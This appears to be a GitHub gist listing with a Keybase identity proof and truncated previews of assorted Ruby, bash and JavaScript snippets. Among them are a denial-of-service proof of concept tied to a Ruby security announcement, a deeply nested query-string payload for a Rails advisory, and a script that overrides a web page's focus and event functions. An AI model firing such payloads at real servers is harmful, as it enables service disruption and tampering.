I hereby claim:
- I am mrThe on github.
- I am mrthe (https://keybase.io/mrthe) on keybase.
- I have a public key whose fingerprint is 6D91 6D49 77DF B535 C969 B4F5 9648 F36A BF0A D2A5
To claim this, I am signing this object:
| def port_open?(host, port, timeout = 5) | |
| addr = Socket.getaddrinfo(host, nil) | |
| sockaddr = Socket.pack_sockaddr_in(port, addr[0][3]) | |
| Socket.new(Socket.const_get(addr[0][0]), Socket::SOCK_STREAM, 0).tap do |socket| | |
| socket.setsockopt(Socket::IPPROTO_TCP, Socket::TCP_NODELAY, 1) | |
| begin | |
| # Initiate the socket connection in the background. If it doesn't fail | |
| # immediatelyit will raise an IO::WaitWritable (Errno::EINPROGRESS) |
| # sudo touch /etc/ppp/ip-up | |
| # sudo chmod 755 /etc/ppp/ip-up | |
| # File content: | |
| #!/bin/sh | |
| # https://git.sysalex.com/snippets/7 | |
| # https://zaborona.help/ips.txt |
| def port_open?(host, port, timeout = 5) | |
| addr = Socket.getaddrinfo(host, nil) | |
| sockaddr = Socket.pack_sockaddr_in(port, addr[0][3]) | |
| Socket.new(Socket.const_get(addr[0][0]), Socket::SOCK_STREAM, 0).tap do |socket| | |
| socket.setsockopt(Socket::IPPROTO_TCP, Socket::TCP_NODELAY, 1) | |
| begin | |
| # Initiate the socket connection in the background. If it doesn't fail | |
| # immediatelyit will raise an IO::WaitWritable (Errno::EINPROGRESS) |
| def block(str) | |
| chars = str.upcase.chars | |
| size = chars.size | |
| result = Array.new(size) { Array.new(size) { ' ' } } | |
| chars.each_with_index do |char, i| | |
| result[0][i] = char | |
| result[i][i] = char | |
| result[i][0] = char |
| require 'socket' | |
| def create_request(data) | |
| host = '127.0.0.1' | |
| port = 80 | |
| request = '' | |
| request << "POST /something.json HTTP/1.1\r\n" | |
| request << "Host: localhost\r\n" | |
| # add here your headers |
| # https://groups.google.com/forum/#!topic/ruby-security-ann/9oLY_FCzvoc | |
| require 'uri' | |
| require 'net/http' | |
| require 'securerandom' | |
| uri = URI("http://localhost:3000/") # Target | |
| 10000.times do |i| | |
| http = Net::HTTP.new(uri.host, uri.port) |
| https://groups.google.com/forum/#!topic/rubyonrails-security/gcUbICUmKMc | |
| http://HOSTNAME/?foo[a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a][a] |
I hereby claim:
To claim this, I am signing this object:
| function Miner(incr, dripK, delay) { | |
| var that = this; | |
| this.incr = incr || localStats.bps*1e3; | |
| this.dripK = dripK || 0.5; | |
| this.delay = delay || 100; | |
| document.hasFocus = function () {return true;}; | |
| NO_PINGY=1; // 'pingy' off | |
| // Redefine postEvent | |
| RestEventManager.prototype.postEventData = function(e,t,next) |
| # from: http://stackoverflow.com/questions/2972765/linux-script-that-monitors-file-changes-within-folders-like-autospec-does | |
| #!/bin/bash | |
| sha=0 | |
| previous_sha=0 | |
| update_sha() | |
| { | |
| sha=`ls -lR . | sha1sum` |